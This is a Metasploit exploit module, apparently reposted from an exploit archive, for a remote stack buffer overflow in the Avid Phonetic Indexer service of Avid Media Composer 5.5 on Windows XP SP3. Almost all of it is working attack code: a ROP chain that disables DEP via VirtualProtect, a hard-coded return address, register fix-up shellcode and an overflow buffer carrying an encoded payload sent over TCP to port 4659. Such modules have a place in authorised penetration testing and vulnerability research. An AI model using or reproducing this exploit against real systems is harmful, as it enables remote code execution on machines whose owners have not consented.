Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",  
'Description' => %q{  
This module exploits a stack buffer overflow in process  
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer  
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start  
it standalone it will run on port 4660.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'vt [[email protected]]',   
],  
'References' =>  
[  
['OSVDB', '77376'],  
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],  
],  
'Payload' =>  
{  
'Space' => 1012,  
'BadChars' => "\x00\x09\x0a\x0d\x20",  
'DisableNops' => true,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EAX',  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP Professional SP3',  
{  
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 29 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(4659),  
], self.class)  
end  
  
def exploit  
rop_gadgets = [  
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)  
# a non-sayonara ROP would be super easy too, I'm just lazy :)  
0x7C344CC1, # pop eax;ret;  
0x7C3410C2, # pop ecx;pop ecx;ret;  
0x7C342462, # xor chain; call eax {0x7C3410C2}  
0x7C38C510, # writeable location for lpflOldProtect  
0x7C365645, # pop esi;ret;  
0x7C345243, # ret;  
0x7C348F46, # pop ebp;ret;  
0x7C3487EC, # call eax  
0x7C344CC1, # pop eax;ret;  
0xfffffbfc, # {size}  
0x7C34D749, # neg eax;ret; {adjust size}  
0x7C3458AA, # add ebx, eax;ret; {size into ebx}  
0x7C3439FA, # pop edx;ret;  
0xFFFFFFC0, # {flag}  
0x7C351EB1, # neg edx;ret; {adjust flag}  
0x7C354648, # pop edi;ret;  
0x7C3530EA, # mov eax,[eax];ret;  
0x7C344CC1, # pop eax;ret;  
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}  
0x7C355AEB, # sub eax,30;ret;  
0x7C378C81, # pushad; add al,0xef; ret;  
0x7C36683F, # push esp;ret;  
].pack("V*")  
  
# need to control a buffer reg for the msf gen'd payload to fly. in this case:  
bufregfix = "\x8b\xc4" # MOV EAX,ESP  
bufregfix += "\x83\xc0\x10" # ADD EAX,10  
  
connect  
sploit = ''  
sploit << rand_text_alpha_upper(216)  
sploit << [target.ret].pack('V*')  
sploit << "A"*732 #This avoids a busted LoadLibrary  
sploit << rop_gadgets  
sploit << bufregfix  
sploit << "\xeb\x09"  
sploit << rand_text_alpha_upper(9)  
sploit << payload.encoded  
sock.put(sploit)  
handler  
disconnect  
end  
  
end  
`